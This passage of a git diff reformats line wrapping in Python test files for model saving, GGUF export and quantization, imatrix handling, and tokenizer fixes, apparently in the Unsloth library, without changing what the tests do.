     from unsloth.chat_templates import standardize_sharegpt
 
-    dataset_train = load_dataset("allenai/openassistant-guanaco-reformatted", split = "train")
-    dataset_ppl = load_dataset("allenai/openassistant-guanaco-reformatted", split = "eval")
+    dataset_train = load_dataset(
+        "allenai/openassistant-guanaco-reformatted", split = "train"
+    )
+    dataset_ppl = load_dataset(
+        "allenai/openassistant-guanaco-reformatted", split = "eval"
+    )
 
     dataset_train = dataset_train.map(formatting_prompts_func, batched = True)
     dataset_ppl = dataset_ppl.map(formatting_prompts_func, batched = True)
diff --git a/tests/saving/language_models/test_merged_model_perplexity_qwen_2.5.py b/tests/saving/language_models/test_merged_model_perplexity_qwen_2.5.py
index cb444d1591..5d2afffad1 100644
--- a/tests/saving/language_models/test_merged_model_perplexity_qwen_2.5.py
+++ b/tests/saving/language_models/test_merged_model_perplexity_qwen_2.5.py
@@ -95,7 +95,9 @@ def load_and_compute_8bit_ppl(
     #     chat_template="llama-3.1",
     # )
 
-    dataset_ppl = load_dataset("allenai/openassistant-guanaco-reformatted", split = "eval")
+    dataset_ppl = load_dataset(
+        "allenai/openassistant-guanaco-reformatted", split = "eval"
+    )
 
     alpaca_prompt = """Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request.
 
@@ -181,8 +183,12 @@ if __name__ == "__main__":
         attn_implementation = attn_implementation,
     )
 
-    dataset_train = load_dataset("allenai/openassistant-guanaco-reformatted", split = "train")
-    dataset_ppl = load_dataset("allenai/openassistant-guanaco-reformatted", split = "eval")
+    dataset_train = load_dataset(
+        "allenai/openassistant-guanaco-reformatted", split = "train"
+    )
+    dataset_ppl = load_dataset(
+        "allenai/openassistant-guanaco-reformatted", split = "eval"
+    )
 
     dataset_train = dataset_train.map(formatting_prompts_func, batched = True)
     dataset_ppl = dataset_ppl.map(formatting_prompts_func, batched = True)
diff --git a/tests/saving/language_models/test_push_to_hub_merged.py b/tests/saving/language_models/test_push_to_hub_merged.py
index 0a1dd3406a..8174335f3b 100644
--- a/tests/saving/language_models/test_push_to_hub_merged.py
+++ b/tests/saving/language_models/test_push_to_hub_merged.py
@@ -35,7 +35,9 @@ from tests.utils.perplexity_eval import (
 def formatting_prompts_func(examples):
     convos = examples["messages"]
     texts = [
-        tokenizer.apply_chat_template(convo, tokenize = False, add_generation_prompt = False)
+        tokenizer.apply_chat_template(
+            convo, tokenize = False, add_generation_prompt = False
+        )
         for convo in convos
     ]
     return {"text": texts}
@@ -170,7 +172,9 @@ try:
     print("\n" + "=" * 80)
     print("=== TESTING MODEL DOWNLOAD ===".center(80))
     print("=" * 80 + "\n")
-    model, tokenizer = FastLanguageModel.from_pretrained(f"{hf_username}/merged_llama_text_model")
+    model, tokenizer = FastLanguageModel.from_pretrained(
+        f"{hf_username}/merged_llama_text_model"
+    )
     success["download"] = True
     print("✅ Model downloaded successfully!")
 except Exception as e:
diff --git a/tests/saving/language_models/test_push_to_hub_merged_sharded_index_file.py b/tests/saving/language_models/test_push_to_hub_merged_sharded_index_file.py
index a77d35d05f..0534e51533 100644
--- a/tests/saving/language_models/test_push_to_hub_merged_sharded_index_file.py
+++ b/tests/saving/language_models/test_push_to_hub_merged_sharded_index_file.py
@@ -36,7 +36,9 @@ from tests.utils.perplexity_eval import (
 def formatting_prompts_func(examples):
     convos = examples["messages"]
     texts = [
-        tokenizer.apply_chat_template(convo, tokenize = False, add_generation_prompt = False)
+        tokenizer.apply_chat_template(
+            convo, tokenize = False, add_generation_prompt = False
+        )
         for convo in convos
     ]
     return {"text": texts}
@@ -192,7 +194,9 @@ try:
     print("=== TESTING MODEL DOWNLOAD ===".center(80))
     print("=" * 80 + "\n")
     # Force download even if cached
-    model, tokenizer = FastLanguageModel.from_pretrained(f"{hf_username}/merged_llama_text_model")
+    model, tokenizer = FastLanguageModel.from_pretrained(
+        f"{hf_username}/merged_llama_text_model"
+    )
     success["download"] = True
     print("✅ Model downloaded successfully!")
 except Exception as e:
diff --git a/tests/saving/language_models/test_save_merged_grpo_model.py b/tests/saving/language_models/test_save_merged_grpo_model.py
index 24a35dc825..392cc92718 100644
--- a/tests/saving/language_models/test_save_merged_grpo_model.py
+++ b/tests/saving/language_models/test_save_merged_grpo_model.py
@@ -173,7 +173,9 @@ def training_run(result_queue):
         avg_length = sum(lengths) / len(lengths)
         min_length = min(lengths)
 
-        print(f"Prompt lengths - Min: {min_length}, Max: {max_length}, Avg: {avg_length:.1f}")
+        print(
+            f"Prompt lengths - Min: {min_length}, Max: {max_length}, Avg: {avg_length:.1f}"
+        )
         return max_length, avg_length
 
     def extract_unsloth_answer(
@@ -264,7 +266,9 @@ def training_run(result_queue):
             ground_truth_num = float(norm_ground_truth)
 
             if ground_truth_num != 0:
-                relative_error = abs(extracted_num - ground_truth_num) / abs(ground_truth_num)
+                relative_error = abs(extracted_num - ground_truth_num) / abs(
+                    ground_truth_num
+                )
 
                 if relative_error < 0.01:
                     return True, True, 0.9
@@ -299,7 +303,10 @@ def training_run(result_queue):
         )
 
         responses = [completion[0]["content"] for completion in completions]
-        rewards = [3.0 if re.match(pattern, response, re.DOTALL) else 0.0 for response in responses]
+        rewards = [
+            3.0 if re.match(pattern, response, re.DOTALL) else 0.0
+            for response in responses
+        ]
         return rewards
 
     def match_format_approximately(completions, **kwargs):
@@ -397,7 +404,9 @@ def training_run(result_queue):
                 format_improvement = (
                     result["correct_format_pct"] - base_result["correct_format_pct"]
                 )
-                exact_improvement = result["exact_match_pct"] - base_result["exact_match_pct"]
+                exact_improvement = (
+                    result["exact_match_pct"] - base_result["exact_match_pct"]
+                )
                 plausible_improvement = (
                     result["plausible_match_pct"] - base_result["plausible_match_pct"]
                 )
@@ -429,7 +438,9 @@ def training_run(result_queue):
         if torch.cuda.is_available():
             allocated = torch.cuda.memory_allocated() / 1024**3
             reserved = torch.cuda.memory_reserved() / 1024**3
-            print(f"GPU memory - Allocated: {allocated:.2f} GB, Reserved: {reserved:.2f} GB")
+            print(
+                f"GPU memory - Allocated: {allocated:.2f} GB, Reserved: {reserved:.2f} GB"
+            )
 
     """#### Data Loading and Preparation"""
 
@@ -467,7 +478,9 @@ def training_run(result_queue):
     def formatting_prompts_func(examples):
         convos = examples["prompt"]
         texts = [
-            tokenizer.apply_chat_template(convo, tokenize = False, add_generation_prompt = False)
+            tokenizer.apply_chat_template(
+                convo, tokenize = False, add_generation_prompt = False
+            )
             for convo in convos
         ]
         return {
@@ -682,7 +695,9 @@ def training_run(result_queue):
     print(f"{'='*60}")
 
     try:
-        model.save_pretrained_merged("final_merged_model", tokenizer, save_method = "merged_16bit")
+        model.save_pretrained_merged(
+            "final_merged_model", tokenizer, save_method = "merged_16bit"
+        )
         print("✅ Merged model saved to: final_merged_model/")
     except Exception as e:
         print(f"⚠️ Could not save merged model: {e}")
diff --git a/tests/saving/test_compressed_export_schemes.py b/tests/saving/test_compressed_export_schemes.py
index 2acab1c087..9182b56447 100644
--- a/tests/saving/test_compressed_export_schemes.py
+++ b/tests/saving/test_compressed_export_schemes.py
@@ -22,9 +22,15 @@ def test_registry_entries_are_well_formed():
             isinstance(value, tuple) and len(value) == 3
         ), f"{alias!r} must map to a (scheme, needs_calib, suffix) tuple"
         scheme, needs_calib, suffix = value
-        assert isinstance(scheme, str) and scheme, f"{alias!r}: scheme must be a non-empty str"
-        assert isinstance(needs_calib, bool), f"{alias!r}: needs_calibration must be a bool"
-        assert isinstance(suffix, str) and suffix, f"{alias!r}: suffix must be a non-empty str"
+        assert (
+            isinstance(scheme, str) and scheme
+        ), f"{alias!r}: scheme must be a non-empty str"
+        assert isinstance(
+            needs_calib, bool
+        ), f"{alias!r}: needs_calibration must be a bool"
+        assert (
+            isinstance(suffix, str) and suffix
+        ), f"{alias!r}: suffix must be a non-empty str"
         # The suffix builds the sibling output dir "-"; keep it path-safe.
         assert not (
             set(suffix) & set("/\\ ")
@@ -65,5 +71,16 @@ def test_calibration_flags_match_known_schemes():
 
 
 def test_core_aliases_present():
-    for alias in ("fp8", "fp8_dynamic", "fp8_static", "mxfp4", "nvfp4", "int8", "w4a16", "w8a8"):
-        assert alias in COMPRESSED_EXPORT_SCHEMES, f"expected core alias {alias!r} in registry"
+    for alias in (
+        "fp8",
+        "fp8_dynamic",
+        "fp8_static",
+        "mxfp4",
+        "nvfp4",
+        "int8",
+        "w4a16",
+        "w8a8",
+    ):
+        assert (
+            alias in COMPRESSED_EXPORT_SCHEMES
+        ), f"expected core alias {alias!r} in registry"
diff --git a/tests/saving/test_export_api_surface.py b/tests/saving/test_export_api_surface.py
index 7955b50968..a87d4c7eb2 100644
--- a/tests/saving/test_export_api_surface.py
+++ b/tests/saving/test_export_api_surface.py
@@ -79,7 +79,9 @@ def _list_var_elts(func_node, var_name):
 def test_all_merged_savers_dispatch_compressed_export():
     for fn in MERGED_SAVERS:
         called = _called_names(_func(SAVE_TREE, fn))
-        assert "_normalize_compressed_method" in called, f"{fn} must normalize the save_method"
+        assert (
+            "_normalize_compressed_method" in called
+        ), f"{fn} must normalize the save_method"
         assert (
             "_unsloth_save_compressed_tensors" in called
         ), f"{fn} must dispatch the compressed export"
@@ -109,8 +111,12 @@ def test_gguf_savers_have_lora_branch():
 
 def test_torchao_dispatches_both_ptq_and_qat():
     called = _called_names(_func(SAVE_TREE, "unsloth_save_pretrained_torchao"))
-    assert "_unsloth_save_torchao_with_given_config" in called, "torchao PTQ path missing"
-    assert "_unsloth_save_torchao_with_attached_config" in called, "torchao QAT path missing"
+    assert (
+        "_unsloth_save_torchao_with_given_config" in called
+    ), "torchao PTQ path missing"
+    assert (
+        "_unsloth_save_torchao_with_attached_config" in called
+    ), "torchao QAT path missing"
 
 
 def test_export_subprocesses_are_shell_safe():
@@ -136,7 +142,11 @@ def test_export_subprocesses_are_shell_safe():
             elts = (
                 argv.elts
                 if isinstance(argv, ast.List)
-                else (_list_var_elts(node, argv.id) if isinstance(argv, ast.Name) else None)
+                else (
+                    _list_var_elts(node, argv.id)
+                    if isinstance(argv, ast.Name)
+                    else None
+                )
             )
             if elts is None:
                 continue
@@ -145,7 +155,9 @@ def test_export_subprocesses_are_shell_safe():
                 isinstance(first, ast.Attribute) and first.attr == "executable"
             ), f"{fn}: subprocess argv[0] must be sys.executable, not a shell string"
             checked_argv = True
-        assert checked_argv, f"{fn}: could not verify an argv-list subprocess invocation"
+        assert (
+            checked_argv
+        ), f"{fn}: could not verify an argv-list subprocess invocation"
 
 
 def test_compressed_export_propagates_variant():
diff --git a/tests/saving/test_export_dispatch.py b/tests/saving/test_export_dispatch.py
index ad6d51e0b7..d08c2a09f7 100644
--- a/tests/saving/test_export_dispatch.py
+++ b/tests/saving/test_export_dispatch.py
@@ -19,7 +19,9 @@ class _FakeModel:
     """Minimal model stand-in; routing reads nothing meaningful off it before dispatch."""
 
     config = type(
-        "cfg", (), {"_name_or_path": "fake/model", "architectures": ["LlamaForCausalLM"]}
+        "cfg",
+        (),
+        {"_name_or_path": "fake/model", "architectures": ["LlamaForCausalLM"]},
     )()
 
 
@@ -28,8 +30,12 @@ class _FakeModel:
 
 def test_merged_fp8_routes_to_compressed(monkeypatch, tmp_path):
     seen = {}
-    monkeypatch.setattr(save_mod, "_unsloth_save_compressed_tensors", lambda **kw: seen.update(kw))
-    monkeypatch.setattr(save_mod, "unsloth_generic_save", lambda **kw: seen.update(generic = True))
+    monkeypatch.setattr(
+        save_mod, "_unsloth_save_compressed_tensors", lambda **kw: seen.update(kw)
+    )
+    monkeypatch.setattr(
+        save_mod, "unsloth_generic_save", lambda **kw: seen.update(generic = True)
+    )
     save_mod.unsloth_generic_save_pretrained_merged(
         _FakeModel(),
         str(tmp_path),
@@ -39,12 +45,16 @@ def test_merged_fp8_routes_to_compressed(monkeypatch, tmp_path):
     assert seen.get("scheme") == "FP8_DYNAMIC"
     assert seen.get("suffix") == "fp8"
     assert seen.get("needs_calibration") is False
-    assert "generic" not in seen, "compressed save_method must not fall through to the plain merge"
+    assert (
+        "generic" not in seen
+    ), "compressed save_method must not fall through to the plain merge"
 
 
 def test_merged_nvfp4_marks_calibration(monkeypatch, tmp_path):
     seen = {}
-    monkeypatch.setattr(save_mod, "_unsloth_save_compressed_tensors", lambda **kw: seen.update(kw))
+    monkeypatch.setattr(
+        save_mod, "_unsloth_save_compressed_tensors", lambda **kw: seen.update(kw)
+    )
     monkeypatch.setattr(save_mod, "unsloth_generic_save", lambda **kw: None)
     save_mod.unsloth_generic_save_pretrained_merged(
         _FakeModel(),
@@ -208,7 +218,9 @@ def test_push_to_hub_gguf_preserves_positional_max_shard_size():
 def test_torchao_ptq_routes_to_given_config(monkeypatch, tmp_path):
     seen = {}
     monkeypatch.setattr(
-        save_mod, "_unsloth_save_torchao_with_given_config", lambda **kw: seen.update(given = True)
+        save_mod,
+        "_unsloth_save_torchao_with_given_config",
+        lambda **kw: seen.update(given = True),
     )
     monkeypatch.setattr(
         save_mod,
@@ -227,7 +239,9 @@ def test_torchao_ptq_routes_to_given_config(monkeypatch, tmp_path):
 def test_torchao_qat_routes_to_attached_config(monkeypatch, tmp_path):
     seen = {}
     monkeypatch.setattr(
-        save_mod, "_unsloth_save_torchao_with_given_config", lambda **kw: seen.update(given = True)
+        save_mod,
+        "_unsloth_save_torchao_with_given_config",
+        lambda **kw: seen.update(given = True),
     )
     monkeypatch.setattr(
         save_mod,
diff --git a/tests/saving/test_fix_sentencepiece_gguf_robustness.py b/tests/saving/test_fix_sentencepiece_gguf_robustness.py
index 9c61ca4067..49bd70fa2f 100644
--- a/tests/saving/test_fix_sentencepiece_gguf_robustness.py
+++ b/tests/saving/test_fix_sentencepiece_gguf_robustness.py
@@ -44,7 +44,9 @@ def test_user_defined_special_piece_is_not_retyped(tmp_path):
     ]
     (tmp_path / "tokenizer.model").write_bytes(_build(pieces))
     (tmp_path / "tokenizer.json").write_text(
-        json.dumps({"added_tokens": [{"id": 2, "content": "", "special": True}]})
+        json.dumps(
+            {"added_tokens": [{"id": 2, "content": "", "special": True}]}
+        )
     )
     fix_sentencepiece_gguf(str(tmp_path))
     got = dict(_read(str(tmp_path / "tokenizer.model")))
@@ -85,7 +87,10 @@ def test_save_py_except_clause_is_broad_exception():
     with open(_SAVE_PY) as f:
         tree = ast.parse(f.read())
     for node in ast.walk(tree):
-        if isinstance(node, ast.FunctionDef) and node.name == "unsloth_save_pretrained_gguf":
+        if (
+            isinstance(node, ast.FunctionDef)
+            and node.name == "unsloth_save_pretrained_gguf"
+        ):
             for subnode in ast.walk(node):
                 if isinstance(subnode, ast.Try):
                     body_src = "\n".join(ast.unparse(s) for s in subnode.body)
diff --git a/tests/saving/test_fix_sentencepiece_tokenizer_guard.py b/tests/saving/test_fix_sentencepiece_tokenizer_guard.py
index 1ee523d57b..a3065cbc98 100644
--- a/tests/saving/test_fix_sentencepiece_tokenizer_guard.py
+++ b/tests/saving/test_fix_sentencepiece_tokenizer_guard.py
@@ -112,7 +112,9 @@ def test_old_tokenizer_is_saved_so_its_model_can_be_read(tmp_path, monkeypatch):
     old, new = _tokenizers()
     location = str(tmp_path / "_unsloth_sentencepiece_temp")
 
-    fix_sentencepiece_tokenizer(old, new, {"": "<|im_end|>"}, temporary_location = location)
+    fix_sentencepiece_tokenizer(
+        old, new, {"": "<|im_end|>"}, temporary_location = location
+    )
 
     assert old.saved_to, "old tokenizer was never saved: the body did not run"
 
@@ -123,13 +125,17 @@ def test_token_mapping_is_applied_to_the_sentencepiece_model(tmp_path, monkeypat
     location = str(tmp_path / "_unsloth_sentencepiece_temp")
 
     # Hold the returned tokenizer so its scratch dir survives until we read it.
-    tok = fix_sentencepiece_tokenizer(old, new, {"": "<|im_end|>"}, temporary_location = location)
+    tok = fix_sentencepiece_tokenizer(
+        old, new, {"": "<|im_end|>"}, temporary_location = location
+    )
 
     assert "<|im_end|>" in _read_pieces(f"{loaded[-1]}/tokenizer.model")
     assert tok is not None
 
 
-def test_tokenizer_without_a_sentencepiece_model_is_returned_untouched(tmp_path, monkeypatch):
+def test_tokenizer_without_a_sentencepiece_model_is_returned_untouched(
+    tmp_path, monkeypatch
+):
     """A fast-only tokenizer writes no tokenizer.model, so the guard still
     short-circuits and the caller gets new_tokenizer back unchanged. Its scratch
     dir is unreferenced and reclaimed immediately.
@@ -184,7 +190,9 @@ def test_each_call_uses_a_fresh_isolated_subdirectory(tmp_path, monkeypatch):
     assert tok1 is not None and tok2 is not None
 
 
-def test_sentencepiece_scratch_dir_is_reclaimed_once_the_tokenizer_is_gone(tmp_path, monkeypatch):
+def test_sentencepiece_scratch_dir_is_reclaimed_once_the_tokenizer_is_gone(
+    tmp_path, monkeypatch
+):
     """The scratch dir must live as long as the returned tokenizer (its vocab_file
     points there), then be reclaimed when the tokenizer is garbage collected.
     """
@@ -192,13 +200,17 @@ def test_sentencepiece_scratch_dir_is_reclaimed_once_the_tokenizer_is_gone(tmp_p
     old, new = _tokenizers()
     location = str(tmp_path / "_unsloth_sentencepiece_temp")
 
-    tok = fix_sentencepiece_tokenizer(old, new, {"": "<|im_end|>"}, temporary_location = location)
+    tok = fix_sentencepiece_tokenizer(
+        old, new, {"": "<|im_end|>"}, temporary_location = location
+    )
     work = loaded[-1]
     assert os.path.isdir(work), "scratch dir vanished while the tokenizer was alive"
 
     del tok
     gc.collect()
-    assert not os.path.isdir(work), "scratch dir was not reclaimed after the tokenizer was freed"
+    assert not os.path.isdir(
+        work
+    ), "scratch dir was not reclaimed after the tokenizer was freed"
 
 
 class _CopyFromSubdirTokenizer:
@@ -234,7 +246,9 @@ class _CopyFromSubdirTokenizer:
         return encoded
 
 
-def test_source_vocab_outside_the_work_directory_is_not_disturbed(tmp_path, monkeypatch):
+def test_source_vocab_outside_the_work_directory_is_not_disturbed(
+    tmp_path, monkeypatch
+):
     """A tokenizer whose sentencepiece source lives elsewhere (e.g. the subtree
     convert_to_fast_tokenizer created) is copied into the fresh work directory
     and patched there; the original source is left untouched.
@@ -251,7 +265,9 @@ def test_source_vocab_outside_the_work_directory_is_not_disturbed(tmp_path, monk
 
     old = _CopyFromSubdirTokenizer(source_model)
     new = _FakeTokenizer("new")
-    tok = fix_sentencepiece_tokenizer(old, new, {"": "<|im_end|>"}, temporary_location = location)
+    tok = fix_sentencepiece_tokenizer(
+        old, new, {"": "<|im_end|>"}, temporary_location = location
+    )
 
     assert _read_pieces(source_model) == [
         "",
@@ -269,12 +285,21 @@ def test_swap_mapping_swaps_both_pieces_without_duplicating(tmp_path, monkeypatc
     loaded = _stub_auto_tokenizer(monkeypatch)
     location = str(tmp_path / "_unsloth_sentencepiece_temp")
 
-    pieces = [("", 0.0, CONTROL), ("<|im_end|>", -1.0, NORMAL), ("", 0.0, CONTROL)]
-    old = _FakeTokenizer("old", spm_bytes = _spm_bytes(pieces), vocab = {"": 2, "<|im_end|>": 1})
+    pieces = [
+        ("", 0.0, CONTROL),
+        ("<|im_end|>", -1.0, NORMAL),
+        ("", 0.0, CONTROL),
+    ]
+    old = _FakeTokenizer(
+        "old", spm_bytes = _spm_bytes(pieces), vocab = {"": 2, "<|im_end|>": 1}
+    )
     new = _FakeTokenizer("new")
 
     tok = fix_sentencepiece_tokenizer(
-        old, new, {"": "<|im_end|>", "<|im_end|>": ""}, temporary_location = location
+        old,
+        new,
+        {"": "<|im_end|>", "<|im_end|>": ""},
+        temporary_location = location,
     )
 
     result = _read_pieces(f"{loaded[-1]}/tokenizer.model")
@@ -300,7 +325,9 @@ def test_only_applied_mappings_are_patched(tmp_path, monkeypatch):
     new = _FakeTokenizer("new")
 
     # Caller skipped aa->X (X already exists) and applied bb->Y, so only bb->Y is passed.
-    tok = fix_sentencepiece_tokenizer(old, new, {"bb": "Y"}, temporary_location = location)
+    tok = fix_sentencepiece_tokenizer(
+        old, new, {"bb": "Y"}, temporary_location = location
+    )
 
     result = _read_pieces(f"{loaded[-1]}/tokenizer.model")
     assert result.count("X") == 1 and "Y" in result and "aa" in result, result
diff --git a/tests/saving/test_gguf_export_and_inference.py b/tests/saving/test_gguf_export_and_inference.py
index aa69368482..cb2c94ef51 100644
--- a/tests/saving/test_gguf_export_and_inference.py
+++ b/tests/saving/test_gguf_export_and_inference.py
@@ -132,7 +132,10 @@ def exported_gguf(tmp_path_factory):
         {
             "text": [
                 tokenizer.apply_chat_template(
-                    [{"role": "user", "content": q}, {"role": "assistant", "content": _ANSWER}],
+                    [
+                        {"role": "user", "content": q},
+                        {"role": "assistant", "content": _ANSWER},
+                    ],
                     tokenize = False,
                 )
                 for q in questions
@@ -197,7 +200,9 @@ def test_gguf_q8_0_export_produces_valid_file(exported_gguf):
 def test_gguf_llama_cli_inference_reflects_finetune(exported_gguf):
     cli = _find_llama_cli()
     if cli is None:
-        pytest.skip("no llama-cli binary (Unsloth's GGUF export only builds llama-quantize)")
+        pytest.skip(
+            "no llama-cli binary (Unsloth's GGUF export only builds llama-quantize)"
+        )
     gguf = exported_gguf["gguf"]
     assert gguf is not None, "export did not produce a GGUF"
 
@@ -205,13 +210,20 @@ def test_gguf_llama_cli_inference_reflects_finetune(exported_gguf):
     assert text.strip(), "llama-cli produced no output"
     # The phrase was imprinted on every training example, so it dominates generation -
     # its presence proves the trained weights survived the HF -> GGUF -> quantize round-trip.
-    assert PHRASE in text, f"trained phrase not found in GGUF inference output:\n{text[:500]}"
+    assert (
+        PHRASE in text
+    ), f"trained phrase not found in GGUF inference output:\n{text[:500]}"
 
 
 # -- imatrix IQ low-bit export -------------------------------------------------------------
 # A base whose upstream unsloth/-GGUF ships an imatrix, so imatrix_file=True is exercised.
-IMATRIX_MODEL = os.environ.get("UNSLOTH_IMATRIX_TEST_MODEL", "unsloth/Llama-3.2-1B-Instruct")
-IMATRIX_QUANTS = ["iq2_xxs", "iq4_xs"]  # both were previously disabled; imatrix unlocks them
+IMATRIX_MODEL = os.environ.get(
+    "UNSLOTH_IMATRIX_TEST_MODEL", "unsloth/Llama-3.2-1B-Instruct"
+)
+IMATRIX_QUANTS = [
+    "iq2_xxs",
+    "iq4_xs",
+]  # both were previously disabled; imatrix unlocks them
 
 
 @pytest.fixture(scope = "module")
@@ -260,7 +272,10 @@ def exported_imatrix_gguf(tmp_path_factory):
         {
             "text": [
                 tokenizer.apply_chat_template(
-                    [{"role": "user", "content": q}, {"role": "assistant", "content": _ANSWER}],
+                    [
+                        {"role": "user", "content": q},
+                        {"role": "assistant", "content": _ANSWER},
+                    ],
                     tokenize = False,
                 )
                 for q in questions
@@ -320,7 +335,9 @@ def test_imatrix_iq_quants_export_valid_files(exported_imatrix_gguf):
     # Both requested IQ quants must be produced (they are gated off without an imatrix).
     for tag in ("IQ2_XXS", "IQ4_XS"):
         match = [g for g in ggufs if tag in os.path.basename(g).upper()]
-        assert match, f"no {tag} gguf produced (found: {[os.path.basename(g) for g in ggufs]})"
+        assert (
+            match
+        ), f"no {tag} gguf produced (found: {[os.path.basename(g) for g in ggufs]})"
         gguf = match[0]
         assert os.path.getsize(gguf) > 100_000, f"{tag} GGUF implausibly small"
         with open(gguf, "rb") as f:
@@ -329,14 +346,22 @@ def test_imatrix_iq_quants_export_valid_files(exported_imatrix_gguf):
 
 def test_imatrix_was_downloaded(exported_imatrix_gguf):
     # imatrix_file=True must have fetched the upstream imatrix into the export dir.
-    assert exported_imatrix_gguf["imatrix"], "imatrix_file=True did not download an imatrix"
+    assert exported_imatrix_gguf[
+        "imatrix"
+    ], "imatrix_file=True did not download an imatrix"
 
 
 def test_imatrix_iq_inference_runs(exported_imatrix_gguf):
     cli = _find_llama_cli()
     if cli is None:
-        pytest.skip("no llama-cli binary (Unsloth's GGUF export only builds llama-quantize)")
-    iq4 = [g for g in exported_imatrix_gguf["ggufs"] if "IQ4_XS" in os.path.basename(g).upper()]
+        pytest.skip(
+            "no llama-cli binary (Unsloth's GGUF export only builds llama-quantize)"
+        )
+    iq4 = [
+        g
+        for g in exported_imatrix_gguf["ggufs"]
+        if "IQ4_XS" in os.path.basename(g).upper()
+    ]
     assert iq4, "no IQ4_XS gguf to run inference on"
     text = _run_llama_capped(cli, iq4[0], exported_imatrix_gguf["prompt"])
     # IQ4_XS retains enough quality to round-trip the imprinted finetune; assert coherent output.
diff --git a/tests/saving/test_gguf_single_pass_export.py b/tests/saving/test_gguf_single_pass_export.py
index 296fb0d8ca..5c762422b2 100644
--- a/tests/saving/test_gguf_single_pass_export.py
+++ b/tests/saving/test_gguf_single_pass_export.py
@@ -69,7 +69,9 @@ class _Harness:
         self._delays = quantize_delays or {}
         self._error = quantize_error
 
-        monkeypatch.setattr(save_mod, "check_llama_cpp", lambda: ("llama-quantize", "convert.py"))
+        monkeypatch.setattr(
+            save_mod, "check_llama_cpp", lambda: ("llama-quantize", "convert.py")
+        )
         monkeypatch.setattr(
             save_mod,
             "_download_convert_hf_to_gguf",
@@ -104,7 +106,9 @@ class _Harness:
             if self._error is not None:
                 raise self._error
             time.sleep(self._delays.get(quant_type, 0.02))
-            self.quantize_calls.append({"quant_type": quant_type, "n_threads": n_threads})
+            self.quantize_calls.append(
+                {"quant_type": quant_type, "n_threads": n_threads}
+            )
             with open(output_gguf, "wb") as f:
                 f.write(b"GGUF")
             return output_gguf
@@ -166,7 +170,9 @@ def test_mixed_methods_share_16bit_base(monkeypatch, tmp_path):
 def test_parallel_quants_preserve_request_order(monkeypatch, tmp_path):
     # First method is the slowest: completion order != request order.
     h = _Harness(
-        monkeypatch, tmp_path, quantize_delays = {"q4_k_m": 0.3, "q5_k_m": 0.05, "q6_k": 0.01}
+        monkeypatch,
+        tmp_path,
+        quantize_delays = {"q4_k_m": 0.3, "q5_k_m": 0.05, "q6_k": 0.01},
     )
     locations, _, _ = _run(tmp_path, ["q4_k_m", "q5_k_m", "q6_k"])
 
@@ -184,7 +190,9 @@ def test_parallel_quants_preserve_request_order(monkeypatch, tmp_path):
 
 def test_parallel_quants_env_kill_switch(monkeypatch, tmp_path):
     monkeypatch.setenv("UNSLOTH_PARALLEL_GGUF_QUANTS", "0")
-    h = _Harness(monkeypatch, tmp_path, quantize_delays = {"q4_k_m": 0.05, "q5_k_m": 0.05})
+    h = _Harness(
+        monkeypatch, tmp_path, quantize_delays = {"q4_k_m": 0.05, "q5_k_m": 0.05}
+    )
     _run(tmp_path, ["q4_k_m", "q5_k_m"])
     assert h.max_concurrency == 1
 
diff --git a/tests/saving/test_imatrix_export.py b/tests/saving/test_imatrix_export.py
index 6e5b06d7cc..f16d0de1c3 100644
--- a/tests/saving/test_imatrix_export.py
+++ b/tests/saving/test_imatrix_export.py
@@ -53,7 +53,9 @@ def test_quantize_gguf_accepts_imatrix():
 def test_imatrix_quants_registry():
     for q in ("iq2_xxs", "iq4_xs", "iq1_s", "iq3_xxs"):
         assert q in S.IMATRIX_QUANTS
-        assert q not in S.ALLOWED_QUANTS, f"{q} must be gated, not in the always-on allow-list"
+        assert (
+            q not in S.ALLOWED_QUANTS
+        ), f"{q} must be gated, not in the always-on allow-list"
 
 
 # -- _resolve_imatrix_file -----------------------------------------------------------------
@@ -71,7 +73,9 @@ def test_resolve_bad_type_raises_typeerror(tmp_path):
 
 def test_resolve_missing_path_raises(tmp_path):
     with pytest.raises(FileNotFoundError):
-        S._resolve_imatrix_file(_Model(), str(tmp_path / "nope.dat"), None, str(tmp_path))
+        S._resolve_imatrix_file(
+            _Model(), str(tmp_path / "nope.dat"), None, str(tmp_path)
+        )
 
 
 def test_resolve_plain_path_passthrough(tmp_path):
@@ -173,7 +177,9 @@ def test_resolve_true_downloads_gguf_file_and_renames(monkeypatch, tmp_path):
 
 def test_resolve_true_missing_raises(monkeypatch, tmp_path):
     _patch_hub(
-        monkeypatch, {"unsloth/Llama-3.1-8B-Instruct-GGUF": ["model.Q4_K_M.gguf"]}, str(tmp_path)
+        monkeypatch,
+        {"unsloth/Llama-3.1-8B-Instruct-GGUF": ["model.Q4_K_M.gguf"]},
+        str(tmp_path),
     )
     with pytest.raises(RuntimeError) as e:
         S._resolve_imatrix_file(_Model(), True, "tok", str(tmp_path / "dest"))
@@ -231,7 +237,9 @@ def test_quantize_gguf_emits_imatrix_flag(monkeypatch, tmp_path):
 
     monkeypatch.setattr(L.subprocess, "run", _fake_run)
     imat = str(tmp_path / "imatrix it.dat")  # space in path -> must be shell-quoted
-    with open(imat, "wb") as f:  # quantize_gguf validates the imatrix exists before running
+    with open(
+        imat, "wb"
+    ) as f:  # quantize_gguf validates the imatrix exists before running
         f.write(b"\x00")
     L.quantize_gguf(
         input_gguf = str(tmp_path / "in.gguf"),
diff --git a/tests/saving/test_is_gpt_oss_detection.py b/tests/saving/test_is_gpt_oss_detection.py
index 5fd199b5d4..af8a8dcd9b 100644
--- a/tests/saving/test_is_gpt_oss_detection.py
+++ b/tests/saving/test_is_gpt_oss_detection.py
@@ -32,17 +32,29 @@ def test_detects_gpt_oss_by_architecture():
     # architectures is a list, so detection must use membership, not ==.
     is_gpt_oss = _load_is_gpt_oss()
     assert is_gpt_oss(_model(architectures = ["GptOssForCausalLM"])) is True
-    assert is_gpt_oss(_model(architectures = ["GptOssForCausalLM"], model_type = "gpt_oss")) is True
+    assert (
+        is_gpt_oss(_model(architectures = ["GptOssForCausalLM"], model_type = "gpt_oss"))
+        is True
+    )
 
 
 def test_detects_gpt_oss_by_model_type():
     is_gpt_oss = _load_is_gpt_oss()
-    assert is_gpt_oss(_model(architectures = ["SomethingElse"], model_type = "gpt-oss")) is True
-    assert is_gpt_oss(_model(architectures = ["SomethingElse"], model_type = "gpt_oss")) is True
+    assert (
+        is_gpt_oss(_model(architectures = ["SomethingElse"], model_type = "gpt-oss"))
+        is True
+    )
+    assert (
+        is_gpt_oss(_model(architectures = ["SomethingElse"], model_type = "gpt_oss"))
+        is True
+    )
 
 
 def test_non_gpt_oss_is_false():
